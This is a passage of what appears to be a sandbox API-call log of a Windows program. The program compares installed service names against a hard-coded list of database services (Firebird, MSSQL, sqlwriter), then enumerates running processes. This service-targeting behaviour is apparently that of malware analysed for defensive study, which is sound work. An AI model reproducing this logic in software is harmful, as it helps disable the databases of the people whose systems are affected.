lpString2="iphlpsvc") returned 1 [0117.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0117.584] lstrlenW (lpString="KeyIso") returned 6 [0117.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0117.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0117.584] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0117.584] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0117.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0117.585] lstrlenW (lpString="LanmanServer") returned 12 [0117.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0117.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0117.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0117.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0117.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0117.585] lstrlenW (lpString="LanmanWorkstation") returned 17 [0117.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0117.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0117.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0117.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0117.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0117.585] lstrlenW (lpString="lfsvc") returned 5 [0117.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0117.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0117.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0117.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0117.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0117.585] lstrlenW (lpString="lmhosts") returned 7 [0117.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0117.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0117.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0117.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0117.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0117.585] lstrlenW (lpString="LSM") returned 3 [0117.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0117.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0117.585] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0117.585] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0117.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0117.585] lstrlenW (lpString="MapsBroker") returned 10 [0117.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0117.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0117.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0117.586] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0117.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0117.586] lstrlenW (lpString="MpsSvc") returned 6 [0117.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0117.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0117.586] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0117.586] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0117.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0117.586] lstrlenW (lpString="NcbService") returned 10 [0117.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0117.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0117.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0117.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0117.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0117.586] lstrlenW (lpString="netprofm") returned 8 [0117.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0117.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0117.586] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0117.586] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0117.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0117.586] lstrlenW (lpString="NlaSvc") returned 6 [0117.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0117.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0117.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0117.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0117.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0117.586] lstrlenW (lpString="nsi") returned 3 [0117.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0117.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0117.586] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0117.586] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0117.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0117.586] lstrlenW (lpString="PcaSvc") returned 6 [0117.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0117.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0117.587] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0117.587] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0117.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0117.587] lstrlenW (lpString="PlugPlay") returned 8 [0117.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0117.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0117.587] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0117.587] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0117.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0117.587] lstrlenW (lpString="Power") returned 5 [0117.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0117.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0117.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0117.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0117.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0117.587] lstrlenW (lpString="ProfSvc") returned 7 [0117.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0117.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0117.587] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0117.587] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0117.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0117.587] lstrlenW (lpString="RpcEptMapper") returned 12 [0117.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0117.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0117.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0117.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0117.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0117.587] lstrlenW (lpString="RpcSs") returned 5 [0117.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0117.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0117.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0117.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0117.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0117.587] lstrlenW (lpString="SamSs") returned 5 [0117.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0117.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0117.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0117.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0117.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0117.588] lstrlenW (lpString="Schedule") returned 8 [0117.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0117.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0117.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0117.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0117.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0117.588] lstrlenW (lpString="SecurityHealthService") returned 21 [0117.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0117.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0117.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0117.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0117.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0117.588] lstrlenW (lpString="SENS") returned 4 [0117.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0117.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0117.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0117.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0117.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0117.588] lstrlenW (lpString="ShellHWDetection") returned 16 [0117.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0117.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0117.588] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0117.588] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0117.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0117.588] lstrlenW (lpString="Spooler") returned 7 [0117.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0117.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0117.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0117.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0117.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0117.588] lstrlenW (lpString="SSDPSRV") returned 7 [0117.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0117.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0117.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0117.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0117.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0117.589] lstrlenW (lpString="StateRepository") returned 15 [0117.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0117.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0117.589] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0117.589] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0117.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0117.589] lstrlenW (lpString="SysMain") returned 7 [0117.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0117.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0117.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0117.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0117.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6110e0 | out: hHeap=0x5b0000) returned 1 [0117.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0117.847] Process32FirstW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.848] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.849] lstrlenW (lpString="System") returned 6 [0117.849] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.850] lstrlenW (lpString="smss.exe") returned 8 [0117.850] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.851] lstrlenW (lpString="csrss.exe") returned 9 [0117.851] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.852] lstrlenW (lpString="wininit.exe") returned 11 [0117.852] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.856] lstrlenW (lpString="csrss.exe") returned 9 [0117.856] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.857] lstrlenW (lpString="winlogon.exe") returned 12 [0117.857] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.858] lstrlenW (lpString="services.exe") returned 12 [0117.858] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.859] lstrlenW (lpString="lsass.exe") returned 9 [0117.859] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.860] lstrlenW (lpString="svchost.exe") returned 11 [0117.860] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0117.861] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0117.861] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0117.862] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0117.862] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.863] lstrlenW (lpString="svchost.exe") returned 11 [0117.863] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.864] lstrlenW (lpString="dwm.exe") returned 7 [0117.864] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.865] lstrlenW (lpString="svchost.exe") returned 11 [0117.865] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.866] lstrlenW (lpString="svchost.exe") returned 11 [0117.866] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.867] lstrlenW (lpString="svchost.exe") returned 11 [0117.867] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.867] lstrlenW (lpString="svchost.exe") returned 11 [0117.868] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.868] lstrlenW (lpString="svchost.exe") returned 11 [0117.868] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.869] lstrlenW (lpString="svchost.exe") returned 11 [0117.869] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.870] lstrlenW (lpString="svchost.exe") returned 11 [0117.870] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.871] lstrlenW (lpString="svchost.exe") returned 11 [0117.871] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.872] lstrlenW (lpString="svchost.exe") returned 11 [0117.872] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.873] lstrlenW (lpString="spoolsv.exe") returned 11 [0117.873] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.874] lstrlenW (lpString="svchost.exe") returned 11 [0117.874] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.875] lstrlenW (lpString="svchost.exe") returned 11 [0117.875] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.876] lstrlenW (lpString="audiodg.exe") returned 11 [0117.876] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0117.877] lstrlenW (lpString="sihost.exe") returned 10 [0117.877] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.878] lstrlenW (lpString="svchost.exe") returned 11 [0117.878] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.878] lstrlenW (lpString="taskhostw.exe") returned 13 [0117.878] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.879] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0117.879] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0117.880] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0117.880] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.108] lstrlenW (lpString="explorer.exe") returned 12 [0118.108] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0118.108] lstrlenW (lpString="Memory Compression") returned 18 [0118.108] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0118.109] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0118.109] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0118.110] lstrlenW (lpString="SearchUI.exe") returned 12 [0118.110] Process32NextW (in: hSnapshot=0x35c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 